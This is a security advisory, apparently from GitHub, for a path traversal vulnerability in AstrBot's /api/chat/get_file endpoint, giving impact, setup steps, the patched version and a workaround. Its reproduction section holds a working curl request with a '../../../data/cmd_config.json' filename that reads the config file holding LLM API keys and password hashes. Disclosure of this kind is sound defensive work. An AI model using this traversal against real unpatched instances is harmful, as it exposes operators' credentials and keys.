AstrBot Has Path Traversal Vulnerability in /api/chat/get_file
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
### Impact
This vulnerability may lead to:
* Information disclosure, such as API keys for LLM providers, account passwords, and other sensitive data.
### Reproduce
Follow these steps to set up a test environment for reproducing the vulnerability:
1. Install dependencies and clone the repository:
```bash
pip install uv
git clone https://github.com/AstrBotDevs/AstrBot && cd AstrBot
uv run main.py
```
2. Alternatively, deploy the program via pip:
```bash
mkdir astrbot && cd astrbot
uvx astrbot init
uvx astrbot run
```
3. In another terminal, run the following command to exploit the vulnerability:
```bash
curl -L http://0.0.0.0:6185/api/chat/get_file?filename=../../../data/cmd_config.json
```
This request will read the `cmd_config.json` config file, leading to the leakage of sensitive data such as LLM API keys, usernames, and password hashes (MD5).
### Patches
The vulnerability has been addressed in [Pull Request #1676](https://github.com/AstrBotDevs/AstrBot/pull/1676) and is included in versions >= v3.5.13. All users are strongly encouraged to upgrade to v3.5.13 or later.
### Workarounds
Users can edit the cmd_config.json file to disable the dashboard feature as a temporary workaround. However, it is strongly recommended to upgrade to version v3.5.13 or later as soon as possible to fully resolve this issue.
